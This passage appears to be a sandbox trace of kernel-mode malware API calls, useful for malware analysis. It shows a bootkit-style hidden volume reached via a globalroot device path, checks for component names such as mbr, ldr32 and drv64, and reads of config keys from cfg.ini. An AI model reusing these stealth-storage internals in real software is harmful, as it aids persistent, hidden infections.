| out: FastMutex=0xfffffa80027d3898) [0125.602] KeLeaveCriticalRegion () [0125.602] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.602] ReleaseMutex (hMutex=0xf0) returned 1 [0125.602] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.602] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.602] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.602] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.602] KeEnterCriticalRegion () [0125.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.602] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.602] IdePortDispatch () returned 0x103 [0125.602] KeWaitForMutexObject () returned 0x0 [0125.602] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.602] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.602] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.602] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.603] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.603] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.603] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.603] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.603] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.603] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.603] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.603] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.603] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.603] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.603] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.603] KeLeaveCriticalRegion () [0125.603] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.603] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.603] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.603] KeEnterCriticalRegion () [0125.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.603] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.603] IdePortDispatch () returned 0x103 [0125.603] KeWaitForMutexObject () returned 0x0 [0125.603] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.603] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.603] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.603] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.603] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.603] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.603] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.603] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.603] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.603] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.603] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.603] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.603] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.603] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.603] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.604] KeLeaveCriticalRegion () [0125.604] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.604] ReleaseMutex (hMutex=0x100) returned 1 [0125.604] Sleep (dwMilliseconds=0x2bf20) [0125.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e10d750, dwHighDateTime=0x1d24fa4)) [0125.610] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.610] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.610] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.610] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.610] KeEnterCriticalRegion () [0125.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.610] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.610] IdePortDispatch () returned 0x103 [0125.610] KeWaitForMutexObject () returned 0x0 [0125.610] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.610] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.610] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.610] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.610] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.610] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7320 [0125.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.610] KeLeaveCriticalRegion () [0125.610] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.610] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.611] KeEnterCriticalRegion () [0125.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.611] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.611] KeLeaveCriticalRegion () [0125.611] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.611] KeEnterCriticalRegion () [0125.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.611] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.611] IdePortDispatch () returned 0x103 [0125.611] KeWaitForMutexObject () returned 0x0 [0125.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.611] KeLeaveCriticalRegion () [0125.611] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.611] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.611] KeEnterCriticalRegion () [0125.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.611] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb5000 [0125.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.611] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.611] IdePortDispatch () returned 0x103 [0125.611] KeWaitForMutexObject () returned 0x0 [0125.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.612] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.612] IdePortDispatch () returned 0x103 [0125.612] KeWaitForMutexObject () returned 0x0 [0125.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.612] KeLeaveCriticalRegion () [0125.612] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.612] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.612] KeEnterCriticalRegion () [0125.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.612] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.612] KeLeaveCriticalRegion () [0125.612] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.612] KeEnterCriticalRegion () [0125.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.612] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.612] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.612] KeLeaveCriticalRegion () [0125.613] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.613] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.613] KeEnterCriticalRegion () [0125.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.613] ExFreePoolWithTag (P=0xfffffa8003bf7320, Tag=0x0) [0125.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.613] KeLeaveCriticalRegion () [0125.613] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.613] ReleaseMutex (hMutex=0xf0) returned 1 [0125.613] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.613] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.613] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.613] KeEnterCriticalRegion () [0125.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.613] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.613] IdePortDispatch () returned 0x103 [0125.613] KeWaitForMutexObject () returned 0x0 [0125.613] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.613] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.613] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.613] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.613] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.613] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8e70 [0125.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.613] KeLeaveCriticalRegion () [0125.613] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.613] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.613] KeEnterCriticalRegion () [0125.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.613] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.613] KeLeaveCriticalRegion () [0125.613] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.614] KeEnterCriticalRegion () [0125.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.614] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.614] IdePortDispatch () returned 0x103 [0125.614] KeWaitForMutexObject () returned 0x0 [0125.614] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.614] KeLeaveCriticalRegion () [0125.614] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.614] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.614] KeEnterCriticalRegion () [0125.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.614] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb6000 [0125.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.614] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.614] IdePortDispatch () returned 0x103 [0125.614] KeWaitForMutexObject () returned 0x0 [0125.614] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.614] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.614] IdePortDispatch () returned 0x103 [0125.615] KeWaitForMutexObject () returned 0x0 [0125.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.615] KeLeaveCriticalRegion () [0125.615] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.615] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.615] KeEnterCriticalRegion () [0125.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.615] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.615] KeLeaveCriticalRegion () [0125.615] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.615] KeEnterCriticalRegion () [0125.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.615] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.615] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.615] KeLeaveCriticalRegion () [0125.615] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.615] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.615] KeEnterCriticalRegion () [0125.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.615] ExFreePoolWithTag (P=0xfffffa8003bf8e70, Tag=0x0) [0125.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.616] KeLeaveCriticalRegion () [0125.616] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.616] ReleaseMutex (hMutex=0xf0) returned 1 [0125.616] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.616] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.616] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.616] KeEnterCriticalRegion () [0125.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.616] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.616] IdePortDispatch () returned 0x103 [0125.616] KeWaitForMutexObject () returned 0x0 [0125.616] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.616] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.616] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.616] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.616] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.616] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7fb0 [0125.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.616] KeLeaveCriticalRegion () [0125.616] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.616] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.616] KeEnterCriticalRegion () [0125.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.616] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.616] KeLeaveCriticalRegion () [0125.616] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.616] KeEnterCriticalRegion () [0125.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.616] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.616] IdePortDispatch () returned 0x103 [0125.617] KeWaitForMutexObject () returned 0x0 [0125.617] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.617] KeLeaveCriticalRegion () [0125.617] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.617] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.617] KeEnterCriticalRegion () [0125.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb7000 [0125.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: 